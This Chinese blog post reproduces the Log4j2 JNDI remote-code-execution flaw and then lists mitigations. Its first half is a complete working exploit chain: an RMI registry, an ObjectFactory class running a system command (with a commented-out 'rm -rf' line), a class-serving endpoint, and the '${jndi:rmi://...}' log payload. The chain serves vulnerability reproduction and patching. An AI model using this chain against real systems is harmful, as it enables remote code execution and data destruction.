Java OpenResty Spring Spring Boot MySQL Redis MongoDB PostgreSQL Linux Android Nginx 面试 小程序 Arthas JVM AQS juc Kubernetes Docker DevOps


Java Log4j2 高危漏洞复现及解决办法

Java Log4j2 大约 4319 字

影响范围

影响< 2.15.0的所有2.x版本。且JDK版本在Oracle JDK 11.0.18u1917u2016u211及之前的版本。

GitHub漏洞公告:https://github.com/advisories/GHSA-jfh8-c2jp-5v3q

复现

组件版本

JDK1.8.0_292Spring Boot 2.6.0spring-boot-starter-log4j2 2.6.0(内部依赖log4j-core 2.14.1

JNDI 服务

public class RegisterServer {

    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Attack", "Attack", "http://127.0.0.1:8080/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("bloom", wrapper);
    }

}

攻击代码

编译:javac -encoding UTF8 Attack.java

public class Attack implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("执行了攻击代码 obj = " + obj + ", name = " + name + ", nameCtx = " + nameCtx + ", environment = " + environment);
        Process process = Runtime.getRuntime().exec("notepad.exe");
//        Process process = Runtime.getRuntime().exec("rm -rf ../aaa");
        return null;
    }

    public static void main(String[] args) {
        System.out.println("");
    }
}

攻击代码资源服务器

Attack.class放置在Spring Bootresources文件夹下。

@GetMapping("/{path}")
public ResponseEntity<Resource> download(@PathVariable String path) {
    String contentDisposition = ContentDisposition
            .attachment() // .builder("attachment")
            .filename(path)
            .build().toString();
    return ResponseEntity.ok()
            .header(HttpHeaders.CONTENT_DISPOSITION, contentDisposition)
//                .contentType(MediaType.IMAGE_JPEG)
            .contentType(MediaType.MULTIPART_FORM_DATA)
//                .body(new FileSystemResource(path));
            .body(new ClassPathResource(path));
}

应用代码

@RestController
@SpringBootApplication
public class Log4j2BugServerApplication {

    Logger logger = LogManager.getLogger(Log4j2BugServerApplication.class);

    public static void main(String[] args) {
        // JDK 高版本默认 trustURLCodebase 为 false,需手动设置
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        SpringApplication.run(Log4j2BugServerApplication.class, args);
    }

    @GetMapping("/test")
    public String test() {
        String str = "${jndi:rmi://127.0.0.1:1099/bloom}";
        logger.error("{}", str);
        return "ok";
    }

}

日志输出

访问http://127.0.0.1:8080/test后,Windows平台打开了记事本,Spring Boot工程中输出了攻击代码的日志。

执行了攻击代码 obj = Reference Class Name: Attack
, name = bloom, nameCtx = com.sun.jndi.rmi.registry.RegistryContext@7502a323, environment = {}
2021-12-13 07:50:02.035 ERROR 7348 --- [nio-8080-exec-1] c.e.l.Log4j2BugServerApplication         : ${jndi:rmi://127.0.0.1:1099/bloom}

解决方法

方法一

升级log4j-core2.15.0版本。

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.15.0</version>
</dependency>

方法二

禁用log4jlookup功能。2.15.0版本中默认关闭了lookup功能。

选择以下四种中的一种即可。

启动参数中添加:

-Dlog4j2.formatMsgNoLookups=true

应用启动时设置(确保在LogManager.getLogger调用前设置)

System.setProperty("log4j2.formatMsgNoLookups", "true");

环境变量中增加:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

对于>=2.7的版本,在log4j中对每一个日志输出格式进行修改。在%msg占位符后面添加{nolookups},这种方式的适用范围比方式二的其他三种配置更广。比如在log4j2.xml中配置:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="error">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

方法三

通过删除漏洞类进行修复的方案比较稳,也是官方推荐的一种修复方案。直接删除log4j jar包中存在漏洞的类:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

方法四

升级JDK版本。

对于Oracle JDK 11.0.18u1917u2016u211或者更高版本的JDK,默认已经禁用了RMI ReferenceLDAP Reference的远程加载。

但是在高版本JDK环境下,JNDI注入也还是存在一定RCE风险,可以参考这篇文章:https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

建议还是升级log4j-core2.15.0

参考

https://kingx.me/Patch-log4j.html

阅读 1299 · 发布于 2021-12-14

————        END        ————

Give me a Star, Thanks:)

https://github.com/fendoudebb

扫描下方二维码关注公众号和小程序↓↓↓

扫描二维码关注我
昵称:
随便看看 换一批